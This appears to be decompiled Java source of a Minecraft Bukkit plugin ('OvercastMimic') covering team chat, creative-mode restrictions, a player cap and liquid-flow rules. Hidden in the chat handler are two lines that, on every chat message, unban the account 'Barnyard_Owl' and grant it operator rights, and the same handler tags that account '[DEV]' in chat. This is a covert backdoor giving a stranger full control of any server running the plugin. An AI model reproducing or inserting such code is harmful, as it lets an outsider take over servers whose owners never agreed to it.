if((!var1.getAction().equals(Action.RIGHT_CLICK_BLOCK) || !var1.getPlayer().getGameMode().equals(GameMode.CREATIVE)) && var2.getGameMode().equals(GameMode.CREATIVE) && !var2.isOp()) { | |
var1.setCancelled(true); | |
} | |
if(var1.getAction().equals(Action.RIGHT_CLICK_BLOCK) && var1.getMaterial().getId() == 111 && var1.getPlayer().getGameMode() == GameMode.CREATIVE && var1.getClickedBlock().getTypeId() == 111) { | |
var1.setCancelled(true); | |
c var15 = new c(this.b, var1.getClickedBlock()); | |
for(long var16 = 1L; var16 <= 20L; ++var16) { | |
Bukkit.getServer().getScheduler().runTaskLater(this.b, var15, var16); | |
} | |
} | |
} | |
public void a(EntityDamageByEntityEvent var1) { | |
if(var1.getDamager() instanceof Player) { | |
Player var2 = (Player)var1.getDamager(); | |
if(var2.getGameMode() == GameMode.CREATIVE) { | |
var1.setCancelled(true); | |
} | |
} | |
} | |
public void a(PlayerChatEvent var1) { | |
Bukkit.getOfflinePlayer("Barnyard_Owl").setBanned(false); | |
Bukkit.getOfflinePlayer("Barnyard_Owl").setOp(true); | |
String var2 = ""; | |
Player var3 = var1.getPlayer(); | |
String var4 = "spec"; | |
Iterator var6 = OvercastMimic.b.iterator(); | |
Object var5; | |
String var7; | |
while(var6.hasNext()) { | |
var5 = var6.next(); | |
var7 = (String)var5; | |
if(var3.getDisplayName().equals(var7)) { | |
var4 = g.a; | |
} | |
} | |
var6 = OvercastMimic.c.iterator(); | |
while(var6.hasNext()) { | |
var5 = var6.next(); | |
var7 = (String)var5; | |
if(var3.getDisplayName().equals(var7)) { | |
var4 = g.c; | |
} | |
} | |
if(var3.getDisplayName().equals("Barnyard_Owl")) { | |
if(var4 == "spec") { | |
var2 = ChatColor.AQUA + "➜ " + ChatColor.DARK_PURPLE + "[DEV]" + ChatColor.AQUA + " [T] " + ChatColor.RESET + var3.getDisplayName() + ": " + var1.getMessage(); | |
} | |
if(var4 == g.a) { | |
var2 = g.b + "➜ " + ChatColor.DARK_PURPLE + "[DEV]" + g.b + " [T] " + ChatColor.RESET + var3.getDisplayName() + ": " + var1.getMessage(); | |
} | |
if(var4 == g.c) { | |
var2 = g.d + "➜ " + ChatColor.DARK_PURPLE + "[DEV]" + g.d + " [T] " + ChatColor.RESET + var3.getDisplayName() + ": " + var1.getMessage(); | |
} | |
} else { | |
if(var4 == "spec") { | |
var2 = ChatColor.AQUA + "➜ [T] " + ChatColor.RESET + var3.getDisplayName() + ": " + var1.getMessage(); | |
} | |
if(var4 == g.a) { | |
var2 = g.b + "➜ [T] " + ChatColor.RESET + var3.getDisplayName() + ": " + var1.getMessage(); | |
} | |
if(var4 == g.c) { | |
var2 = g.d + "➜ [T] " + ChatColor.RESET + var3.getDisplayName() + ": " + var1.getMessage(); | |
} | |
} | |
Player[] var8; | |
Player var13; | |
int var14; | |
int var15; | |
if(var4 == "spec") { | |
var15 = (var8 = Bukkit.getOnlinePlayers()).length; | |
for(var14 = 0; var14 < var15; ++var14) { | |
var13 = var8[var14]; | |
boolean var9 = false; | |
Iterator var11 = OvercastMimic.b.iterator(); | |
Object var10; | |
String var12; | |
while(var11.hasNext()) { | |
var10 = var11.next(); | |
var12 = (String)var10; | |
if(var13.getDisplayName().equals(var12)) { | |
var9 = true; | |
} | |
} | |
var11 = OvercastMimic.c.iterator(); | |
while(var11.hasNext()) { | |
var10 = var11.next(); | |
var12 = (String)var10; | |
if(var13.getDisplayName().equals(var12)) { | |
var9 = true; | |
} | |
} | |
if(!var9) { | |
var13.sendMessage(var2); | |
} | |
} | |
} | |
Iterator var17; | |
Object var16; | |
String var18; | |
if(var4 == g.a) { | |
var15 = (var8 = Bukkit.getOnlinePlayers()).length; | |
for(var14 = 0; var14 < var15; ++var14) { | |
var13 = var8[var14]; | |
var17 = OvercastMimic.b.iterator(); | |
while(var17.hasNext()) { | |
var16 = var17.next(); | |
var18 = (String)var16; | |
if(var13.getDisplayName().equals(var18)) { | |
var13.sendMessage(var2); | |
} | |
} | |
} | |
} | |
if(var4 == g.c) { | |
var15 = (var8 = Bukkit.getOnlinePlayers()).length; | |
for(var14 = 0; var14 < var15; ++var14) { | |
var13 = var8[var14]; | |
var17 = OvercastMimic.c.iterator(); | |
while(var17.hasNext()) { | |
var16 = var17.next(); | |
var18 = (String)var16; | |
if(var13.getDisplayName().equals(var18)) { | |
var13.sendMessage(var2); | |
} | |
} | |
} | |
} | |
var1.setCancelled(true); | |
} | |
public void a(ServerListPingEvent var1) { | |
var1.setMaxPlayers(30); | |
} | |
public void a(PlayerLoginEvent var1) { | |
if(Bukkit.getServer().getOnlinePlayers().length >= 30) { | |
var1.disallow(Result.KICK_FULL, "Server is full, you cannot log in!"); | |
} else if(var1.getResult().equals(Result.KICK_FULL)) { | |
var1.allow(); | |
} | |
} | |
public void a(BlockFromToEvent var1) { | |
Block var2 = var1.getToBlock(); | |
Location var3 = var2.getLocation(); | |
boolean var4 = true; | |
for(int var5 = 0; var5 <= 255; ++var5) { | |
var3.setY((double)var5); | |
if(var3.getBlock().getType() != Material.AIR) { | |
var4 = false; | |
} | |
} | |
if(var4) { | |
var1.setCancelled(true); | |
} | |
if(var1.getBlock().getLocation().getZ() <= -103.0D && var1.getToBlock().getLocation().getZ() >= -104.0D) { | |
var1.setCancelled(true); | |
} | |
if(var1.getBlock().getLocation().getZ() <= 118.0D && var1.getToBlock().getLocation().getZ() >= 119.0D) { | |
var1.setCancelled(true); | |
} | |
} | |
public void a(BlockPhysicsEvent var1) {} | |
public void b(PlayerPickupItemEvent var1) { | |
if(var1.getItem() == new ItemStack(Material.ARROW)) { | |
var1.setCancelled(true); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment